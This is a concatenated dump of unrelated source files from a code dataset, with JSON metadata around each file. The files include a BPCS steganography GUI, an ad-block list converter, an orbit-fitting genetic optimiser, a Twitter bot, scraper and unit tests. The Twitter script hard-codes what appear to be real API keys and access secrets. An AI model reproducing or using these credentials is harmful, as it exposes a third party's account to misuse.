origPNG.convert('RGB')\n rgb_jpg.save('temp1.png')\n\n origPNG2 = Image.open(covername) # convert png to jpeg\n rgb_jpg2 = origPNG2.convert('RGB')\n rgb_jpg2.save('temp2.png')\n\n EncodeDecodePNG2PNG(\"temp1.png\", \"temp2.png\")\n encodedfilename = \"encoded_file.png\"\n\n imagecanvas = Canvas(window, width=picwidth, height=picheight)\n imagecanvas.grid(row=8, column=1)\n imagemsg = ImageTk.PhotoImage(Image.open(\"RetrievedImage.png\").resize((200, 200), Image.ANTIALIAS))\n imagecanvas.create_image(10, 10, anchor=NW, image=imagemsg)\n button4 = tk.Button(window, text='Clear Image', command=imagecanvas.destroy).grid(row=8, column=4, sticky=NE)\n\n img2 = ImageTk.PhotoImage(Image.open(encodedfilename).resize((200, 200), Image.ANTIALIAS)) # prep cover image\n encodedimg.create_image(10, 10, anchor=NW, image=img2)\n\n window.mainloop()\n\n\ndef EncodeDecodeJPG2JPG(payloadname, covername):\n fileext = [\"jpg\", \"jpeg\", \"png\"]\n payloadname = e1.get()\n covername = e2.get()\n\n origJPG = Image.open(payloadname) # convert jpeg to png\n rgb_jpg = origJPG.convert('RGB')\n rgb_jpg.save('encoded_file.png')\n\n with open('encoded_file.png', 'rb') as fp, open('base64String.txt', 'wb') as fp2:\n base64.encode(fp, fp2) # let base64 do encoding and export excoded text to txt file\n\n strg = os.path.dirname(os.path.abspath(__file__)) + \"\\\\base64String.txt\" # locate text file\n\n # payloadlabel1 = tk.Label(window, text=\"Payload image:\").grid(row=3, column=2) # prep payload label\n\n canvas2 = Canvas(window, width=picwidth, height=picheight)\n # canvas2.grid(row=4, column=2)\n cover2 = Image.open(payloadname)\n image2 = cover2.resize((300, 300), Image.ANTIALIAS)\n img2 = ImageTk.PhotoImage(image2) # cover image\n canvas2.create_image(10, 10, anchor=NW, image=img2) # show payload image (before stego)\n\n ExtractPayload(covername, 2, 0.45, message=strg) # encode cover image with payload image\n ExtractPayload(\"encoded_file.png\", 1,\n 0.45) # decode and place base64 (of image) to text file as decoded output (decoded_message.txt)\n\n origPNG = Image.open(\"encoded_file.png\") # convert png to jpeg\n rgb_jpg = origPNG.convert('RGB')\n rgb_jpg.save('encoded_file.jpg')\n\n # stegolabel1 = tk.Label(window, text=\"Stego image:\").grid(row=3, column=2) # prep stego iamge label\n # canvas3 = Canvas(window, width=picwidth, height=picheight)\n # # canvas3.grid(row=6, column=1) # encoded Image (Stego)\n # img3 = ImageTk.PhotoImage(Image.open(\"encoded_file.jpg\").resize((300, 300), Image.ANTIALIAS))\n # canvas3.create_image(10, 10, anchor=NW, image=img3)\n\n origPNG = Image.open(\"encoded_file.jpg\") # convert jpeg to png\n rgb_jpg = origPNG.convert('RGB')\n rgb_jpg.save('encoded_file.png')\n\n with open(\"decoded_message.txt\", 'rb') as fp, open('RetrievedImage.png', 'wb') as fp2:\n base64.decode(fp, fp2) # let base64 do decoding to png image and export image to png file\n\n origPNG = Image.open(\"RetrievedImage.png\") # convert png to jpeg\n rgb_jpg = origPNG.convert('RGB')\n rgb_jpg.save('RetrievedImage.jpg')\n\n # recoveredlabel1 = tk.Label(window, text=\"Recovered Hidden image:\").grid(row=5, column=2)\n # imagecanvas = Canvas(window, width=picwidth, height=picheight)\n # imagecanvas.grid(row=8, column=1)\n # imagemsg = ImageTk.PhotoImage(Image.open('RetrievedImage.jpg').resize((200, 200), Image.ANTIALIAS))\n # imagecanvas.create_image(10, 10, anchor=NW, image=imagemsg) #show extracted hidden payload image from previously encoded image\n # window.mainloop()\n\n\ndef EncodeDecodePNG2PNG(payloadname, covername):\n with open(payloadname, 'rb') as fp, open('base64String.txt', 'wb') as fp2:\n base64.encode(fp, fp2) # let base64 do encoding and export excoded text to txt file\n\n strg = os.path.dirname(os.path.abspath(__file__)) + \"\\\\base64String.txt\" # locate text file\n\n ExtractPayload(covername, 2, 0.45, message=strg) # encode cover image with payload image\n ExtractPayload(\"encoded_file.png\", 1,\n 0.45) # decode and place base64 (of image) to text file as decoded output (decoded_message.txt)\n\n # stegolabel1 = tk.Label(window, text=\"Stego image:\").grid(row=3, column=2) #prep stego iamge label\n # canvas3 = Canvas(window, width=picwidth, height=picheight)\n # # canvas3.grid(row=6, column=1) #encoded Image (Stego)\n # img3 = ImageTk.PhotoImage(Image.open(\"encoded_file.png\").resize((200, 200), Image.ANTIALIAS))\n # canvas3.create_image(10, 10, anchor=NW, image=img3)\n\n with open(\"decoded_message.txt\", 'rb') as fp, open('RetrievedImage.png', 'wb') as fp2:\n base64.decode(fp, fp2) # let base64 do decoding to png image and export image to png file\n\n # recoveredlabel1 = tk.Label(window, text=\"Recovered Hidden image:\").grid(row=5, column=2)\n # imagecanvas = Canvas(window, width=picwidth, height=picheight)\n # imagecanvas.grid(row=8, column=1)\n # imagemsg = ImageTk.PhotoImage(Image.open(\"RetrievedImage.png\").resize((200,200), Image.ANTIALIAS))\n # imagecanvas.create_image(10, 10, anchor=NW, image=imagemsg) #show extracted hidden payload image from previously encoded image\n\n\nwindow = tk.Tk()\npicwidth = 200\npicheight = 200\nbgimg = ImageTk.PhotoImage(Image.open(\"bgimg.jpg\").resize((1600, 900), Image.ANTIALIAS)) # PIL solution\nbackground_label = Label(window, image=bgimg)\nbackground_label.place(x=0, y=0, relwidth=1, relheight=1)\nwindow.title(\"BPCS Module\")\nwindow.geometry(\"1600x900\")\n\n\npayloadlabel = tk.Label(window, text=\"Cover image file:\").grid(row=2, column=0, padx=(210, 0))\ncoverlabel = tk.Label(window, text=\"Cover image\").grid(row=4, column=1, sticky=NW)\nstegolabel1 = tk.Label(window, text=\"Stego image\").grid(row=4, column=5, sticky=NE) # prep stego iamge label\npayloadlabel = tk.Label(window, text=\"Payload file:\").grid(row=1, column=0, padx=(210, 0))\ne1 = tk.Entry(window, width=30)\ne1.grid(row=1, column=1)\nbutton1 = tk.Button(window, text='Upload', command=UploadPayload).grid(row=1, column=1, sticky=NE)\npayloadlabel = tk.Label(window, text=\"Cover image file:\").grid(row=2, column=0, padx=(210, 0))\ne2 = tk.Entry(window, width=30)\ne2.grid(row=2, column=1)\nbutton3 = tk.Button(window, text='Upload', command=UploadCover).grid(row=2, column=1, sticky=NE)\nbutton2 = tk.Button(window, text='Submit', command=ConfirmAction, height=1, width=10).grid(row=3, column=1, sticky=NW)\ndecodedlabel = tk.Label(window, text=\"Decoded Message\").grid(row=7, column=1, sticky=NW)\n\n# outputlabel = Label(window, text=\"Output:\").grid(row=8, column=0, sticky=NW,padx=(210, 0))\n\n# quitbutton = tk.Button(window, text=\"Quit\", command=window.destroy, fg=\"red\").grid(row=8, column=6)\n#\nhelv36 = TkFont.Font(family=\"Helvetica\", size=36, weight=\"bold\")\ntitle = tk.Label(window, text=\"BPCS Encoder\", font=helv36).grid(row=0, column=2)\n\n\nwindow.mainloop()\n","sub_path":"bpcs-master/gui_cybersecA2.py","file_name":"gui_cybersecA2.py","file_ext":"py","file_size_in_byte":14665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"1709696","text":"# y(nT) = 0.5x((n-2)T) + alpha * y((n-1)T) + beta * y((n-2)T)\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef diffEq(alpha, beta, x2, y1, y2):\n return 0.5 * x2 + alpha * y1 + beta * y2\n\nn = 30\nalpha = 1\nbeta = -0.5\n\nstep = [0, 0]\npulse = [0, 0]\n\nn = n-2\nfor i in range(0, n+1):\n step.append(diffEq(alpha, beta, 1, step[-1], step[-2]))\n pulse.append(diffEq(alpha, beta, i == 0, pulse[-1], pulse[-2]))\n\nprint(step)\nprint(pulse)\n\nn1 = np.arange(31)\ng = plt.plot(n1, pulse, 'bx')\nplt.xlabel('Time')\nplt.ylabel('y(n)')\nplt.title('Respuesta al impulso')\n\nax = plt.gca()\nax.minorticks_on()\nax.grid(which='major', linestyle='-', linewidth=0.3, color='black')\nax.grid(which='minor', linestyle=':', linewidth=0.1, color='black')\n\nplt.show()\n\n\n\n","sub_path":"TP1/assd guia1 ej9.py","file_name":"assd guia1 ej9.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"18394402","text":"\"\"\"Auto-create the domains versions of porn.txt and antimalware.txt\"\"\"\nalldomains = {}\nallips = {}\n\ndef mkalt(file,alt):\n lines = open(file).read().split(\"\\n\")\n alt = open(\"Alternative list formats/{}\".format(alt),\"w\")\n iponly = open(\"Alternative list formats/{}_ips.txt\".format(file.split(\".\")[0]),\"w\")\n donedomains = []\n def isipdomain(domain):\n try:\n import socket\n if socket.gethostbyname(domain) == domain:\n return True\n except:\n pass\n return False\n alldomains[file] = []\n allips[file] = []\n for line in lines:\n if len(line.split(\"$\")[0].split(\".\")) > 2:\n if isipdomain(line.split(\"$\")[0]) == True:\n iponly.write(line.split(\"$\")[0] + \"\\n\")\n try:\n allips[file].append(line.split(\"$\")[0])\n except Exception as err:\n print(\"Error:{}\".format(err))\n continue\n if line == '' or line.startswith(\"!\") or line.startswith(\"||\") or line == '[Adblock Plus 2.0]':\n continue\n if line.split(\"$\")[0] not in donedomains:\n alt.write(\"{}\\n\".format(line.split(\"$\")[0].lower()))\n donedomains.append(line.split(\"$\")[0].lower())\n alldomains[file].append(line.split(\"$\")[0].lower())\nmkalt(\"antimalware.txt\",\"antimalware_domains.txt\")\nmkalt(\"porn.txt\",\"porn_domains.txt\")\nmkalt(\"antitypo.txt\",\"antitypo_domains.txt\")\n\nprint(allips)\nprint(alldomains)\n\ndef mkhosts(file,altname):\n donedomains = []\n List = open(file).read().split(\"\\n\")\n altfile = open(altname,\"w\")\n def isipdomain(domain):\n try:\n return domain in allips[file]\n except:\n pass\n return False\n for line in List:\n if line.startswith(\"! Format notes: \"):\n altfile.write('# Format notes: This format is designed for a system wide HOSTS file, and can also be used with tools that support this format. Not recommended for uBlock Origin or AdGuard\\n')\n continue\n if line.startswith(\"!\"):\n altfile.write(line.replace(\"!\",\"#\"))\n elif line == \"\" or line.startswith(\"||\") or line.startswith(\"[Adblock Plus 2.0]\"):\n continue\n elif \"$\" in line:\n domain = line.split(\"$\")[0].lower()\n isip = isipdomain(domain)\n if isip == True:\n altfile.write(\"#IP address: {}\".format(domain))\n if isip == False and domain != \"\" and domain not in donedomains:\n altfile.write(\"127.0.0.1 {}\".format(domain))\n donedomains.append(domain)\n altfile.write(\"\\n\")\n\nmkhosts(\"antimalware.txt\",\"Alternative list formats/antimalware_hosts.txt\")\n\n\ndef mkagh(file,altname):\n donedomains = []\n List = open(file).read().split(\"\\n\")\n altfile = open(altname,\"w\")\n def isipdomain(domain):\n try:\n return domain in allips[file]\n except:\n pass\n return False\n for line in List:\n if line.startswith(\"! Format notes: \"):\n altfile.write('! Format notes: This format is designed for AdGuard Home, and should not be used in AdGuard\\n')\n continue\n if line.startswith(\"!\"):\n altfile.write(line)\n elif line == \"\" or line.startswith(\"||\") or line.startswith(\"[Adblock Plus 2.0]\"):\n continue\n elif \"$\" in line:\n domain = line.split(\"$\")[0].lower()\n if domain != \"\" and domain not in donedomains:\n if isipdomain(domain):\n altfile.write(\"{}\".format(domain))\n else:\n altfile.write(\"||{}^\".format(domain))\n donedomains.append(domain)\n altfile.write(\"\\n\")\n\ntry:\n mkagh(\"antimalware.txt\",\"Alternative list formats/antimalware_adguard_home.txt\")\nexcept:\n print(\"Error\")\ndef mkabp(file,altname):\n donedomains = []\n List = open(file).read().split(\"\\n\")\n altfile = open(altname,\"w\")\n def isipdomain(domain):\n try:\n return domain in allips[file]\n except:\n pass\n return False\n for line in List:\n if line.startswith(\"! Format notes: \"):\n altfile.write(\"! Format notes: This format is designed for use in AdBlock Plus. However, I recommend you do not use AdBlock Plus with this list, due to lack of support for full website blocking and some other more advanced features\\n\")\n if line.startswith(\"!\"):\n altfile.write(line)\n altfile.write(\"\\n\")\n continue\n if line.startswith(\"||\"):\n altfile.write(line.split(\"$\")[0])\n altfile.write(\"\\n\")\n continue\n if \"[Adblock Plus 2.0]\" in line:\n altfile.write(line)\n \n if \"$\" in line:\n domain = line.split(\"$\")[0].lower()\n isip = isipdomain(domain)\n if isip == True:\n altfile.write(\"||{}^\".format(domain))\n if isip == False and domain != \"\" and domain not in donedomains:\n altfile.write(\"||{}^\".format(domain))\n donedomains.append(domain)\n altfile.write(\"\\n\")\n \n \ntry:\n mkabp(\"antimalware.txt\",\"Alternative list formats/antimalware_abp.txt\")\n mkabp(\"porn.txt\",\"Alternative list formats/porn_abp.txt\")\nexcept:\n print(\"ABP error\")\ndef mkpurehosts(file,altname):\n altfile = open(altname,\"w\")\n for domain in alldomains[file]:\n altfile.write(\"127.0.0.1 {}\\n\".format(domain))\n\ntry:\n mkpurehosts(\"porn.txt\",\"Alternative list formats/porn_pure_hosts.txt\")\n mkpurehosts(\"antimalware.txt\",\"Alternative list formats/antimalware_pure_hosts.txt\")\nexcept:\n print(\"Pure hosts error\")\n\ndef mkadguard(file,altname):\n donedomains = []\n List = open(file).read().split(\"\\n\")\n altfile = open(altname,\"w\")\n def isipdomain(domain):\n try:\n return domain in allips[file]\n except:\n pass\n return False\n for line in List:\n if line.startswith(\"! Format notes: \"):\n altfile.write(\"! Format notes: This format is designed for use in AdGuard's desktop app\")\n if line.startswith(\"!\"):\n altfile.write(line)\n altfile.write(\"\\n\")\n continue\n if line.startswith(\"||\"):\n altfile.write(line.split(\"$\")[0])\n altfile.write(\"\\n\")\n continue\n if \"[Adblock Plus 2.0]\" in line:\n altfile.write(line)\n \n if \"$\" in line:\n domain = line.split(\"$\")[0].lower()\n isip = isipdomain(domain)\n if isip == True:\n altfile.write(\"{}$network\".format(domain))\n if isip == False and domain != \"\" and domain not in donedomains:\n altfile.write(\"||{}^\".format(domain))\n donedomains.append(domain)\n altfile.write(\"\\n\")\n\n \ntry:\n mkadguard(\"antimalware.txt\",\"Alternative list formats/antimalware_adguard_app.txt\")\nexcept:\n print(\"AdGuard error\")\n","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":6367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"281843666","text":"import pandas as pd\nimport numpy as np\nfrom scipy.optimize import bisect\n\nclass GenOpti:\n\n #N must be even\n def __init__(self, N=10, path='data/eta_Bootis.csv'):\n self.N = N\n self.data = pd.read_csv(path)\n self.population = self.initialize_random() #P, tau, omega, e, K, V0\n\n\n #Initialize population of N solution vectors according to specific intervals obtained from data analysis\n def initialize_random(self):\n\n population = np.zeros((self.N, 6))\n\n for n in range(self.N):\n population[n][0] = np.random.uniform(200, 800) #P\n population[n][1] = np.random.uniform(self.data.iloc[0, 0], self.data.iloc[0, 0] + population[n][0]) #tau\n population[n][2] = np.random.uniform(0, 2*np.pi) #omega\n population[n][3] = np.random.uniform(0, 1) #e\n population[n][4] = np.random.uniform(0, self.data['radial_velocity'].max() - self.data['radial_velocity'].min()) #K\n population[n][5] = np.random.uniform(self.data['radial_velocity'].min(), self.data['radial_velocity'].max()) #V0\n\n return population\n\n def simulate_generations(self, generations=1, selective_pressure=1/4, p_c=0.8, p_m=0.1, mutation_amp=50):\n pass\n #for generation in range(generations):\n\n\n #TO CHECK FOR BUGS\n def generate_kids(self, parents_idx, p_c=0.8):\n pass\n\n\n #Returns index of chosen parents from rank\n def generate_parents(self, rank, selective_pressure=1/5):\n # Choose best parent randomly according to selective pressure\n best_index = rank[np.random.randint(int((1 - selective_pressure) * self.N), self.N)]\n\n # Choose second parent\n second_index = best_index\n while second_index == best_index:\n second_index = np.random.randint(0, self.N - 1)\n\n return best_index, second_index\n\n\n\n #Evaluate objective function for each individual (solution matrix must be n by 6 size or 6 length list)\n def evaluate_objective(self, solution_matrix):\n chi = 0\n for idx, row in self.data.iterrows():\n chi += (row[1] - self.evaluate_solution(solution_matrix, row[0])/row[2])**2\n chi *= 1/(self.data.shape[0])\n\n return 1/chi\n\n #Evaluate solution at specific time\n def evaluate_solution(self, solution_matrix, t):\n\n E = np.empty(0)\n\n if len(solution_matrix.shape) is 1:\n P = solution_matrix[:, 0]\n tau = solution_matrix[:, 1]\n omega = solution_matrix[:, 2]\n e = solution_matrix[:, 3]\n K = solution_matrix[:, 4]\n V0 = solution_matrix[:, 5]\n\n else:\n P = solution_matrix[:, 0]\n tau = solution_matrix[:, 1]\n omega = solution_matrix[:, 2]\n e = solution_matrix[:, 3]\n K = solution_matrix[:, 4]\n V0 = solution_matrix[:, 5]\n\n #Solve keplers equation for the root\n for n in range(P.shape[0]):\n E = np.append(E, bisect(self.evaluate_kepler, -1000, 1000, args=(t, P[n], tau[n], e[n])))\n\n #Solve for projected velocity v\n orbital_velocity = 2*np.arctan(np.sqrt((1+e)/(1-e)) * np.tan(E/2)) #CHECK FOR ATAN2 ERROR ? ONLY 1 INPUT AVAILABLE\n\n #Solve for radial velocity\n radial_velocity = V0 + K * (np.cos(omega + orbital_velocity) + e*np.cos(omega))\n\n return radial_velocity\n\n #Keplers equation\n def evaluate_kepler(self, E, t, P, tau, e):\n return E - e * np.sin(E) - (2*np.pi/P) * (t-tau)\n\n\ntest = GenOpti()\nprint(test.population)\nprint(test.evaluate_objective(test.population))\nprint(test.evaluate_objective(np.array([[494.2, 14299, 5.7397, 0.2626, 8.3836, 1.0026]])))\n","sub_path":"2019A - NumericalModelling/Evolutionary-Optimisation/backup/python/GenOpti.py","file_name":"GenOpti.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"501823715","text":"# Dependencies\nimport tweepy\nimport json\nimport time\n\n# Twitter API Keys\nconsumer_key = \"LqZehyBrSOwzkGx7Cpwx4mhsK\"\nconsumer_secret = \"k5taBhrfGgYNQ8ecW3JTbXibCb32f5kC375C8NF3CqAr7javKB\"\naccess_token = \"133594066-M9KUh9H6JoDyva5bkTTRt8ojaZ9dCafHc9lazW1k\"\naccess_token_secret = \"PMtstoGy0SR0yw4YqlQrge8ZRkpfy3aBeznE6WVsN8FC5\"\n\n# Setup Tweepy API Authentication\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\napi = tweepy.API(auth, parser=tweepy.parsers.JSONParser())\n\n\ndef TweetOut(tweet_number):\n\tapi.update_status(\"Happy New Year. This is a blessing to all of my friends. %s\" %blessing)\n\nblessings=(\"May your hearts be kept warm.\",\"May your hearts remain open.\", \"May your feet be wherever you want them to be\")\ncounter=0\n\nwhile(counter0:\n locat=(row['Location'][row['Location'].rfind('(')+1:-1]).split(',')\n if len(locat)==2:\n pass\n # il.add_value('latitude', locat[0])\n # il.add_value('longitude', locat[1])\n il.add_value('permit_lic_desc', row['CertificationType'])\n il.add_value('permit_type', 'business_license')\n yield il.load_item()","sub_path":"all_spider/AI_1125/ct_state_bidding_companies_licenses.py","file_name":"ct_state_bidding_companies_licenses.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"110300216","text":"from abc import abstractmethod\r\n\r\n\r\n# 动物园类要求有“名字”属性和“添加动物”的方法\r\n# “添加动物”方法要实现同一只动物(同一个动物实例)不能被重复添加的功能\r\nclass Zoo(object):\r\n def __init__(self, name):\r\n self.name = name\r\n\r\n def add_animal(self, obj):\r\n # 使用set去重\r\n animal = set()\r\n if hasattr(self, obj.__class__.__name__):\r\n animals = getattr(self, obj.__class__.__name__)\r\n if obj in animals:\r\n print(\"该动物已存在\")\r\n else:\r\n animals.add(obj)\r\n print(\"该动物已添加\")\r\n else:\r\n animal.add(obj)\r\n setattr(self, obj.__class__.__name__, animal)\r\n print(\"该动物已添加\")\r\n\r\n\r\n# 动物类不允许被实例化\r\n# 动物类要求定义“类型”、“体型”、“性格”、“是否属于凶猛动物”四个属性\r\n# 是否属于凶猛动物的判断标准是:“体型 >= 中等”并且是“食肉类型”同时“性格凶猛”\r\nclass Animal(object):\r\n size = {\r\n '小': 1,\r\n '中': 2,\r\n '大': 3,\r\n }\r\n is_meat = {\r\n '食肉': True,\r\n '食草': False,\r\n '杂食': False,\r\n }\r\n character = {\r\n '凶猛': True,\r\n '温顺': False,\r\n }\r\n\r\n @abstractmethod\r\n def __init__(self, size, is_meat, character):\r\n self.size = Animal.size[size]\r\n self.body = Animal.is_meat[is_meat]\r\n self.character = Animal.character[character]\r\n\r\n # 判断是否为凶猛动物\r\n if self.size >= 2 and self.is_meat == True and self.character == True:\r\n self.is_fierce = True\r\n else:\r\n self.is_fierce = False\r\n\r\n\r\n# 猫类要求有“叫声”、“是否适合作为宠物”以及“名字”三个属性\r\n# 其中“叫声”作为类属性,猫类继承自动物类\r\nclass Cat(Animal):\r\n def __init__(self, name, is_meat, size, character):\r\n super().__init__(size, is_meat, character)\r\n self.meow = \"喵\"\r\n self.name = name\r\n # 适合作为宠物\r\n self.is_pet = 'Y'\r\n\r\n\r\nif __name__ == '__main__':\r\n # 实例化动物园\r\n z = Zoo('时间动物园')\r\n # 实例化一只猫,属性包括名字、类型、体型、性格\r\n cat1 = Cat('大花猫 1', '食肉', '小', '温顺')\r\n # 增加一只猫到动物园\r\n z.add_animal(cat1)\r\n # 动物园是否有猫这种动物\r\n have_cat = getattr(z, 'Cat')\r\n print(have_cat)\r\n # 再添加一次查看是否重复\r\n z.add_animal(cat1)\r\n have_cat = getattr(z, 'Cat')\r\n print(have_cat)","sub_path":"week07/Zoo.py","file_name":"Zoo.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"237587381","text":"\"\"\"This script is parsing the client log file\n(name overhead.client..out) and looking for\nlines in the following format:\n[2021-04-05 04:15:26.317] [trace] Done calling start(45), took 0.40437912940979004 seconds\nIt extracts the iteration number passed to the start call\nas well as the duration of the call. It generates CSV data\non its standard output.\n\"\"\"\n\nimport sys\n\nprint(\"#iteration,duration(sec)\")\n\niteration = 0\nchange = ''\n\nfor line in open(sys.argv[1]):\n if '[warning] Invalid group hash detected, group view needs to be updated' in line:\n change = '1'\n if 'Done calling start(' not in line:\n continue\n words = line.split()\n print(str(iteration)+','+words[7]+','+change)\n iteration += 1\n change = ''\n","sub_path":"ubuntu/overhead/parse-logs.py","file_name":"parse-logs.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"264443329","text":"import numpy as np\nfrom holoviews import Dimension, DynamicMap, Image\nfrom holoviews.element.comparison import ComparisonTestCase\n\nfrequencies = np.linspace(0.5,2.0,5)\nphases = np.linspace(0, np.pi*2, 5)\nx,y = np.mgrid[-5:6, -5:6] * 0.1\n\ndef sine_array(phase, freq):\n return np.sin(phase + (freq*x**2+freq*y**2))\n\n\n\nclass DynamicTestGeneratorOpen(ComparisonTestCase):\n\n def test_generator_open_init(self):\n generator = (Image(sine_array(0,i)) for i in range(10))\n dmap=DynamicMap(generator)\n self.assertEqual(dmap.mode, 'open')\n\n def test_generator_open_clone(self):\n generator = (Image(sine_array(0,i)) for i in range(10))\n dmap=DynamicMap(generator)\n self.assertEqual(dmap, dmap.clone())\n\n def test_generator_open_stopiteration(self):\n generator = (Image(sine_array(0,i)) for i in range(10))\n dmap=DynamicMap(generator)\n for i in range(10):\n el = next(dmap)\n self.assertEqual(type(el), Image)\n try:\n el = next(dmap)\n raise AssertionError(\"StopIteration not raised when expected\")\n except Exception as e:\n if e.__class__ != StopIteration:\n raise AssertionError(\"StopIteration was expected, got %s\" % e)\n\n\n\nclass DynamicTestCallableOpen(ComparisonTestCase):\n\n def test_callable_open_init(self):\n fn = lambda i: Image(sine_array(0,i))\n dmap=DynamicMap(fn)\n self.assertEqual(dmap.mode, 'open')\n\n def test_callable_open_clone(self):\n fn = lambda i: Image(sine_array(0,i))\n dmap=DynamicMap(fn)\n self.assertEqual(dmap, dmap.clone())\n\n\n\n\nclass DynamicTestCallableBounded(ComparisonTestCase):\n\n def test_callable_bounded_init(self):\n fn = lambda i: Image(sine_array(0,i))\n dmap=DynamicMap(fn, kdims=[Dimension('dim', range=(0,10))])\n self.assertEqual(dmap.mode, 'bounded')\n\n def test_generator_bounded_clone(self):\n fn = lambda i: Image(sine_array(0,i))\n dmap=DynamicMap(fn, kdims=[Dimension('dim', range=(0,10))])\n self.assertEqual(dmap, dmap.clone())\n\n\nclass DynamicTestSampledBounded(ComparisonTestCase):\n\n def test_sampled_bounded_init(self):\n fn = lambda i: Image(sine_array(0,i))\n dmap=DynamicMap(fn, sampled=True)\n self.assertEqual(dmap.mode, 'bounded')\n\n def test_sampled_bounded_resample(self):\n fn = lambda i: Image(sine_array(0,i))\n dmap=DynamicMap(fn, sampled=True)\n self.assertEqual(dmap[{0, 1, 2}].keys(), [0, 1, 2])\n\n","sub_path":"tests/testdynamic.py","file_name":"testdynamic.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"115108084","text":"#!/usr/bin/python\n\nimport ants\nimport my_bot\nimport Queue\nimport threading\nimport unittest\n\nclass TestMyBot(unittest.TestCase):\n TURTORIAL_MAP = '/home/djhedges/ants/tools/maps/example/tutorial1.map'\n\n def setUp(self):\n map_data = ('turn 0',\n 'loadtime 3000',\n 'turntime 1000',\n 'rows 43',\n 'cols 39',\n 'turns 60',\n 'viewradius2 77',\n 'attackradius2 5',\n 'spawnradius2 1',\n 'player_seed 7')\n self.ants = ants.Ants()\n self.ants.food_list = [(26, 19), (28, 17), (28, 21), (35, 19)]\n self.ants.ant_list = {(27, 18): 0, (28, 19): 0}\n self.ants.setup('\\n'.join(map_data) + '\\n')\n self.bot = my_bot.MyBot()\n self.bot.do_setup(self.ants)\n self.bot.orders = {}\n self.bot.targets = {}\n turn_1 = ('turn 1',\n 'w 20 18',\n 'w 20 19',\n 'w 20 20',\n 'w 22 18',\n 'w 22 19',\n 'w 22 20',\n 'w 23 17',\n 'w 23 21',\n 'h 28 19 0',\n 'a 28 19 0',\n 'f 26 19',\n 'f 28 17',\n 'f 28 21',\n 'f 35 19')\n self.ants.update('\\n'.join(turn_1) + '\\n')\n\n def testNearby(self):\n tile = my_bot.Tile(1, 1, 42, 38, {}, Queue.Queue())\n expected = ((0, 1), (2, 1), (1, 2), (1, 0))\n self.assertSequenceEqual(expected, tile._Nearby())\n\n def testNearbyOdd(self):\n tile = my_bot.Tile(0, 0, 3, 3, {}, Queue.Queue())\n expected = ((1, 0), (0, 1), (2, 2))\n self.assertSequenceEqual(expected, tile._Nearby())\n\n def testNearbyOtherCorner(self):\n tile = my_bot.Tile(2, 2, 3, 3, {}, Queue.Queue())\n expected = ((1, 2), (2, 1), (0, 0))\n self.assertSequenceEqual(expected, tile._Nearby())\n\n def testAddUpdateQueue(self):\n tile = my_bot.Tile(0, 0, 42, 38, {}, Queue.Queue())\n tile._AddUpdateQueue((0, 1), 0, 1)\n self.assertEquals(1, tile.update_queue.qsize())\n\n def testCalcInitDistance(self):\n tile = my_bot.Tile(0, 0, 3, 3, {}, Queue.Queue())\n self.assertEqual(1, tile._CalcInitDistance(0, 1))\n self.assertEqual(2, tile._CalcInitDistance(1, 1))\n self.assertEqual(1, tile._CalcInitDistance(2, 0))\n self.assertEqual(1, tile._CalcInitDistance(0, 2))\n self.assertEqual(1, tile._CalcInitDistance(2, 2))\n\n def testInitRoutes(self):\n tile = my_bot.Tile(0, 0, 3, 3, {}, Queue.Queue())\n tile.InitRoutes()\n expected = {}\n self.assertDictEqual(expected, tile.routes)\n expected_distances = {(0, 1): 1,\n (0, 2): 1,\n (1, 0): 1,\n (1, 1): 2,\n (1, 2): 2,\n (2, 0): 1,\n (2, 1): 2,\n (2, 2): 1}\n self.assertDictEqual(expected_distances, tile.route_distances)\n\n #def testRouterProcessUpdates(self):\n # tile_map = {}\n # update_queue = Queue.Queue()\n # router = my_bot.Router(tile_map, update_queue)\n # for row in range(2):\n # for col in range(2):\n # tile = my_bot.Tile(row, col, 42, 38, tile_map, update_queue)\n # tile.InitRoutes()\n # self.assertEquals(16, update_queue.qsize())\n # for _ in range(update_queue.qsize()):\n # router.ProcessUpdate()\n # self.assertEquals(32, update_queue.qsize())\n\n #def testHugeLocInitAndRouterProcess(self):\n # tile_map = {}\n # update_queue = Queue.Queue()\n # router = my_bot.Router(tile_map, update_queue)\n # for row in range(42):\n # for col in range(38):\n # tile = my_bot.Tile(row, col, 42, 38, tile_map, update_queue)\n # tile.InitRoutes()\n # router.ProcessForever()\n # for update in update_queue.queue:\n # print update\n # print update_queue.qsize()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tile_bot/my_bot_test.py","file_name":"my_bot_test.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"213739006","text":"\"\"\"\nmodel to predict steering angles from the previous sequence of images\nmodel architecture is taken from: https://github.com/jamesmf/mnistCRNN/blob/master/scripts/addMNISTrnn.py\n\nReferences used:\nhttps://chatbotslife.com/using-augmentation-to-mimic-human-driving-496b569760a9#.a60sq6l6p\nhttps://github.com/fchollet/keras/issues/1638\n\"\"\"\n\nimport pickle\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\n# Fix error with TF and Keras\nimport tensorflow as tf\ntf.python.control_flow_ops = tf\n\nfrom scripts.config import *\nfrom scripts.process_data import *\n\nfrom keras.models import Sequential\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.layers.core import Dense, Flatten, Activation\nfrom keras.callbacks import EarlyStopping\nimport 